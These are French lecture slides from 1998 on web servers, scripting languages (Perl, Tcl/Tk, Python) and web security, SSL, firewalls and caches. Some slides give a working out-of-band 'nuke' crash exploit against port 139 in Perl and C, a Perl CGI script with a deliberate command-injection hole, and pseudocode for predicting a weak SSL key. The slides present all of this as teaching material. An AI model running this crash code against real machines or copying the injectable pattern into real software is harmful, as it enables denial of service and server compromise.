560 likes | 690 Views
Programmation Internet et Intranet . S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/. ?. Qu’est ce qu’un serveur ?. Configuration d’un serveur Web. Apache : configuration. /apache-1.2.4/ src configuration mime.types http.conf srm.conf
E N D
Programmation Internetet Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/
? • Qu’est ce qu’un serveur ?
Apache : configuration • /apache-1.2.4/ • src • configuration • mime.types • http.conf • srm.conf • access.conf • logs • http.pid • error.log • acces.log • icons • support
Apache : httpd.conf ServeurType standalone Port 80 User nobody Group Web ServerAdmin webmaster@machine ServerRoot /opt/apache_1.2.4 Timeout 300 KeepAlive on MaxKeepAliveRequests 100 KeepAliveTimeout 15 MinSpareServers 5 MaxSpareServers 10 StartServers 5 MaxClients 150 MaxRequestsPerChild 30 HostnameLookups on BrowserMatch Mozilla/2 nokeepalive
Apache : srm.conf • Aspect du serveur pour les clients DocumentRoot /www/insa UserDir public_html DirectoryIndex index.html FancyIndexing on AddIcons /icons/back.gif .. AccessFileName .htaccess DefaultType text/plain Alias /icons/ /opt/apache_1.2.4/icons/ ScriptAlias /cgi-bin/ /opt/apache_1.2.4/cgi-bin/ AddHandler cgi-script .cgi
Apache access.conf <directory /www/insa/theme.siam> #none, all, options Indexes FollowSymLinks ExecCGI AllowOverride None order allow, deny allow from all </directory> <Location /server-status> SetHandler server-status order deny, allow deny from all allow from .insa-lyon.fr, .univ-lyon1.fr </location>
Apache : Logs • httpd.pid : N° process du père • error.log : • date, ressource accédée, client, raison [Mon Feb 9 12:16:05 1998] access to /www/insa/theme.siam/frame/Bandeau.gif failed for pc401-50.insa-lyon.fr, reason: File does not exist • access.log • client, date, méthode utilisée, réponse, taille réponse wormhole.ctp.com [13/Feb/1998:20:00:56 +0100] "GET /~sfrenot/ HTTP/1.0" 200 4726
Les langages de script • Langages de script • Interprété • Suivent la Loi de Moore • Légers et modulaires • Portés sur de nombreux environnements • Client : Script Documentaire • JavaScript, Python, Tcl/Tk • Visuel • Serveur : Shell puissants • Perl, Tcl, Tk • Prototypage
Perl • TMTOWTDI : "Tim-Toady" • 1 : Simplifier les tâches faciles • 2 : Ne pas empêcher les tâches difficiles ==> Larry Wall Linguiste Notion de langue et d'interprétation contextuelle et tardive Nom, Verbe, Singulier et Pluriel
Perl • "Practical Extraction and Report Language" • Interprété • Modulaire • 446 Modules : "use module" • Simple / Complexe • Efficace • Orienté • Traitement de chaînes • Accès fichiers • Accès réseau
Perl : Exemple #!/usr/local/bin/perl print "Content-Type:text/html\n\n<HTML><BODY>"; open (NOTES, "notes") or die "Ouverture impossible : $!\n"; while ($ligne=<NOTES>) { ($etudiant, $note) = split(/ /, $ligne); chomp($note); $notes{$etudiant} .= $note.' ';} foreach $etudiant (sort keys %notes) { $scores,$note, $total=0; @notes = split(/ /, $notes{$etudiant}); foreach $note(@notes) { $total+=$note; $scores++;} $moyenne = $total/$scores; print "<PRE>$etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n<BR>";} print "</body></html>";
Perl : 5.004 • Accès aux Bases de données • DBD, DBI ==> ODBC • Accès aux Formulaires HTML • CGI.pm, HTML.pm • Accès aux variables systèmes de la machine • Porté sur Win32, Unix, MacIntosh • Communauté Internet ftp://ftp.pasteur.fr/pub/Perl/
TCL/Tk Tool Command Langage ==> Shell de programmation ToolKit ==> Widgets de présentation Deux classes de langage : • un langage compilé, efficace pour l'algorithmique • un autre, interprété, utilisé comme glue pour "piloter" et personnaliser les différentes fonctionnalités de l'application ==> John Ousterhout (Sun)
TCL if {[string compare $env(REQUEST_METHOD) "POST"]==0}{ set message [split [read stdin $env(CONTENT_LENGTH)] &] } else { set message [split $env(QUERY_STRING) &] } foreach pair $message { set name [lindex [split $pair =] 0] set val [lindex [split $pair =] 1] puts "$name\t= $val" } puts "</BODY></HTML>" #!/usr/local/bin/tclsh8.0 set envvars {SERVER_SOFTWARE SERVER_NAME GATEWAY_INTERFACE SERVER_PROTOCOL SERVER_PORT REQUEST_METHOD PATH_INFO PATH_TRANSLATED SCRIPT_NAME QUERY_STRING REMOTE_HOST REMOTE_ADDR REMOTE_USER AUTH_TYPE CONTENT_TYPE CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER HTTP_USER_AGENT} puts "Content-type: text/html\n" puts "<HTML><BODY>" puts"<H1>Message</H1><PRE>" puts "</PRE><H1>Environment Variables</H1>" foreach var $envvars { if {[info exists env($var)]} { puts "<DT>$var<DD>$env($var)"}}}
Tk • Créer l'interface utilisateur en écrivant les scripts Tcl. • Hello, world: • button .hello -text "Hello, world" -command exit • pack .hello • Explorateur Windows : 30 lignes • Browser Web : 2000 lignes • 10x moins de code pour des choses simples.
TCL / Tk • 1 Librairie de procédures C pour développeurs • L'interpréteur est pilotable en C Tcl_Interp * interp; interp = Tcl_CreateInterp(); int code; code=Tcl_Eval(interp, "set a 1"); code=Tcl_EvalFile(interp, "init.tcl"); • Créer une nouvelle commande Tcl int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) { if (argc != 3) { interp->result = "wrong # args"; return TCL_ERROR; } if (!strcmp(argv[1], argv[2])) interp->result = "1"; else interp->result = "0"; return TCL_OK;} • L'enregistrer sur l'interpréteur Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL, ...);
TCL / Tk • Largement utilisé • Le plus puissant • Efficace • Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh • http://www.sunscript.com/
Python • Portable, interprété, orienté objet (ABC, C, Modula-3, Icon) • Facile à apprendre • Script CGI, Administration de systèmes, Prototypage • Indépendant de la plateforme : Tk comme bibliothèque graphique, génère du byte-code • Multiniveaux : Scripts shell, ou librairies oo • Extensible: branchement sur les autres binaires (Microsoft FC, MacOS ToolBox) • Imbriquable : Script => HTML, BD, Environnement • ==> Just et Guido van Rossum (CNRI : Corporation for National Research Institute)
Python : exemple #!/usr/local/lib/python import time JOUR = 24*3600 class Date: def __init__(self, date): self.date=date def __repr__(self): s=time.ctime(self.date) return s[:11]+s[-4:] def demain(self): return self+1 def hier(self): return self -1 def __add__(self, nbjours): return Date (self.date+nbjours*JOUR) __radd___=__add__ def __sub__(self, autre) if hasattr(autre, 'date'): return int (self.date/JOUR) - int(other.date/JOUR) else: return self.__add__(-other) aujourdhui=Date(time.time( )) print aujourdhui.demain( )-ajourdhui.hier( ) #!/usr/local/lib/python import posix import string uid=`posix.getuid()` passwd=open('/etc/passwd') for line in passwd.readline(): rec=string.splitfields(line, ':') if rec[2] == uid: print 'bonjour', rec[0] break else: print 'Non trouve'
Python • http://www.python.org • modules • chaines, Expression Régulières, posix, sockets, threads, multimédia, cryptographie, STDWIN, Internet/WWW • Utilisé pour la configuration Linux RedHat 6.1 • Exemple utilisé pour les tags OBJECT d'HTML 4
Disponibilité des langages • Vitesse de développement => Economie • Utiliser les bons outils • Marché en expansion • Se faire plaisir
Exemple #!/opt/bin/perl use strict; use Socket; $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) {print "Un nom de machine doit être fournit. Ex: www.microsoft.com\n";} $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); print "Adresse visée$in_addr addr $addr proto $proto\n"; socket(S, AF_INET, SOCK_STREAM, $proto) || die $!; connect(S,$addr) or die $!; $| = 1; print STDOUT "Nuking: $h:$p\n"; send S,"Au revoir",MSG_OOB; print STDOUT "Nuked!\n"; close S; STDOUT perl -MIO::Socket -e 'IO::Socket::INET-> new(PeerAddr=>"some.windoze.box")-> send("bye",MSG_OOB)'
Equivalent C int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #define dport 139 int x, s; char *str = "Bye"; struct sockaddr_in addr, spoofedaddr; struct hostent *host;
Equivalent C Suite void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <target>\n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); }
Sécurité : définitions • Identification ? • Authentification ? • Autorisations ?
Sécurité absolue : un mythe • Sécurité intérieur / extérieur • Les particularités du Web • Facile de créer des biais de sécurité • Facile de se faire pirater sans s’en rendre compte • Deux niveaux : • Serveur piraté • Client piraté
Exemple #!/usr/local/bin/perl use CGI; $|=1; $query=new CGI; print "Content-Type: text/plain\n\n"; $req=$query->param('addr'); print $req; system("/usr/bin/finger $req"); Attaque ?
Biais classiques • Username : root • Racines du serveur : / • ln -s / /wwwDoc/tmp/ • Requêtes dans les formulaires • Applet => Machine virtuelles • JavaScript => ! Danger...
Web : Authentification • Basic authentication • Réponse 401 + en-tête WWW-Authenticate, Realm • Requête : Authorization: (UserID/UserPasswd) (Encodage Base64 : cf RFC 2045) • Digest Access Authentication (http/1.1) (rfc 2069) • MD5(password) = empreinte • ==> ne protège pas d’un « replay » • Uname+Realm+Passwd+Nonce(IP+Time+…)+HTTPMéthode+URI • ! Ne protège pas le flux !- Uniquement authentification
Pourquoi des intermédiaires • Approche par les flux. • ? Comment améliorer le flux ? • Sécurité • Cryptage C/S • Vitesse • Caches • Vitesse + Sécurité ?
Sécuriser le flux • Man in the Middle : • Intermédiaire qui simule le serveur Web (ie Proxy) • Eavesdropping : • Sniffer • ==> Sécuriser la connexion 1) Soit sécuriser le transport (HTTPS) 2) Soit sécuriser les applications (S-HTTP)
SSL : Sécure Socket Layer https FTP Telnet HTTP Autres Stack IP SSL TCP/IP
SSL : moyens • Communication sécurisé sur média non sécurisé • Protection de la connexion • Handshake initial pour définir le codage • Cryptage symétrique • Authentification optionnelle • L’entité pair peut s’authentifier en utilisant un cryptage asymétrique (Clé public/privée) • Sécurisation des échanges • Authentification du message échangé (MAC) Message Authentication Code
SSL : objectifs • Sécurité cryptographique • Principe de base • Interopérabilité des applications • Développement d’application C et S • Extensibilité • Ajout de nouveaux algorithmes de cryptage • Efficacité ? • Notion de cache de session
SSL : technique • 3 connexions possibles • anonyme : ni le client ni le serveur ne s’authentifient (90 %) du traffic Web • Authentification Server • Présentation d’un certificat d’authenticité • Authentification des Deux ==> Les attaques contrées ne sont pas les mêmes !
Cryptage SSL (HTTPS) • Encodage sur une clé unique connue du client et du serveur • Le client génère aléatoirement un nombre • Puis le transfère de manière cryptée au serveur • Celui-ci encode les messages à l'aide de ce nombre ==> mais … (DrDobb’s 01/96)
Crack ! global variable racine; RNG_CreeContexte( ) (secondes, microsecondes) = maintenant:! pid=process ID; ppid= parent process ID; a=mklcpr(microsecondes); b=mklcpr(pid+seconds+(ppid<<12)); racine=MD5(a,b); mklcpr(x) return ((0xDEECE66D * x +0x2BBB62DC) >> 1); MD5() RNG_GenereNombreAleatoire( ) x=MD5(seed); seed=seed+1; return x; global variable debut, clé_secrete; Creer_cle ( ) RNG_CreeContexte( ); tmp= RNG_GenereNombreAleatoire(); tmp= RNG_GenereNombreAleatoire(); debut= RNG_GenereNombreAleatoire(); clé_secrete=RNG_GenereNombreAleatoire();
FireWall • FireWall : Pare-Feu • Filtrage des paquets • Table de filtrage des ports de connexion • Inbound HTTP www.interne.com • Outbound HTTP www.externe.com • Inbound telnet telnet.interne.com • Sinon interdit • Tunneling Protocol • Encodage d'une session • Réseaux privés virtuels
Caches • Optimisation des flux Client Serveur Cache Client Serveur Cache Client Serveur Cache
Proxy • Cache des documents transférés • Cache mémoire sur le client • Cache disque sur le client • Serveur Cache local • Serveurs Cache nationaux • Fonctions • Disponibilité, • Maintenabilité • Pre-caching • Baisse de la charge • Difficulté :?
Gestion du cache • État d’un document du cache : fresh / stale • Notion de lifetime (unlimited = fresh, 0=stale) • Politique de gestion de l’expiration • Orientée Serveur : entête http (Expires, Cache-Control) • Heuristique : Dernière Modification • Validation des ages / Expiration pour le client • Durée des transits • Conversions fuseaux horaires… • Quels documents expulser du cache ?
Serveur Proxy proxy.univ-lyon1.fr 3128 function FindProxyForURL(url, host) { if (isPlainHostName(host)) return "DIRECT"; if ( dnsDomainIs( host,"univ-lyon1.fr")|| dnsDomainIs(host,"cpe.fr") || dnsDomainIs(host,"enssib.fr") || dnsDomainIs(host,"cermep.fr") || dnsDomainIs(host,"dr7.cnrs.fr") || dnsDomainIs(host,"www.dsi.cnrs.fr") || dnsDomainIs(host,"insa-lyon.fr")) return "DIRECT"; if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:") return "PROXY proxy.univ-lyon1.fr:3128; DIRECT"; if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001"; else return "DIRECT"; }
Caches • Coopérations de caches • Hiérarchies (parent) • Transmission au parent si on n’a pas le document • Récupération dans le cache fils http://www.serveurs-nationaux.jussieu.fr/cache • Coopération d’égal à égal • Requête au voisin si on a pas le document • Caches Web • Cache commerciaux … • Cache gratuits : Squid : http://squid.nlanr.net/Squid
Miroirs (Aspirateurs) • But : • Accélerer les accès aux sites les plus demandés • Diminuer le trafic global de l’Internet • Moyen : copie des sites stratégiques sur différents endroits • Logiciel mirroir = robot qui browse le Web automatiquement • Racine + Règles d’arrêt de la récursion • Extraction des <A…>….</A> • webcopy, wget, w3mir